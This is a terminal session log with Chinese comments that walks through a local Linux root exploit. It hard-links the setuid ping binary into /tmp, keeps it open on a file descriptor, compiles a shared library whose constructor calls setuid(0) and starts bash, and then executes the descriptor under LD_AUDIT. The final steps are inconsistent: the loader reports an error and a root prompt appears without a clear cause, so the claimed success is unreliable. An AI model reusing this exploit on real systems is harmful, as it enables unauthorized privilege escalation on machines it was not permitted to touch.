[root@ns ~]# whoami   ##我是谁
root


[root@ns ~]# useradd putong
[root@ns ~]# su - putong
[putong@ns ~]$ whoami
putong


[putong@ns ~]$ ll -d /tmp/
drwxrwxrwt. 3 root root 4096 12月  2 03:11 /tmp/
[putong@ns ~]$ cd /tmp/
[putong@ns tmp]$ mkdir ceshi
[putong@ns tmp]$ ln /bin/ping /tmp/ceshi/ceshi   ##创建一个硬链接
[putong@ns tmp]$ ll !$
ll /tmp/ceshi/ceshi
-rwsr-xr-x. 2 root root 40760 9月  26 2013 /tmp/ceshi/ceshi
[putong@ns tmp]$ exec 3< /tmp/ceshi/ceshi   ##系统调用exec是以新的进程去代替原来的进程,但进程的PID保持不变。因此,可以这样认为,exec系统调用并没有创建新的
进程,只是替换了原来进程上下文的内容。原进程的代码段,数据段,堆栈段被新的进程所代替。
[putong@ns tmp]$ ll /proc/$$/fd/3
lr-x------ 1 putong putong 64 12月  2 03:19 /proc/1346/fd/3 -> /tmp/ceshi/ceshi


[putong@ns tmp]$ rm -rf /tmp/ceshi/
[putong@ns tmp]$ ll /proc/1346/fd/3
lr-x------ 1 putong putong 64 12月  2 03:19 /proc/1346/fd/3 -> /tmp/ceshi/ceshi (deleted)


 

[putong@ns tmp]$ vim root.c  ##创建一个c语言脚本


void __attribute__((constructor)) init() ##注意;__这是两个_下划线
{
    setuid(0);
    system("/bin/bash");
}
:wq

[putong@ns tmp]$ gcc -w -fPIC -shared -o /tmp/ceshi root.c  ## -o 输出
[putong@ns tmp]$ ll /tmp/ceshi 
-rwxrwxr-x 1 putong putong 6017 12月  2 03:25 /tmp/ceshi
[putong@ns tmp]$ LD_AUDIT="ORIGIN" exec /proc/self/fd/3
ERROR: ld.so: object 'ORIGIN' cannot be loaded as audit interface: cannot open shared object file; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
            [-M mtu discovery hint] [-S sndbuf]
            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination


[root@ns ~]# 
[root@ns ~]# whoami
root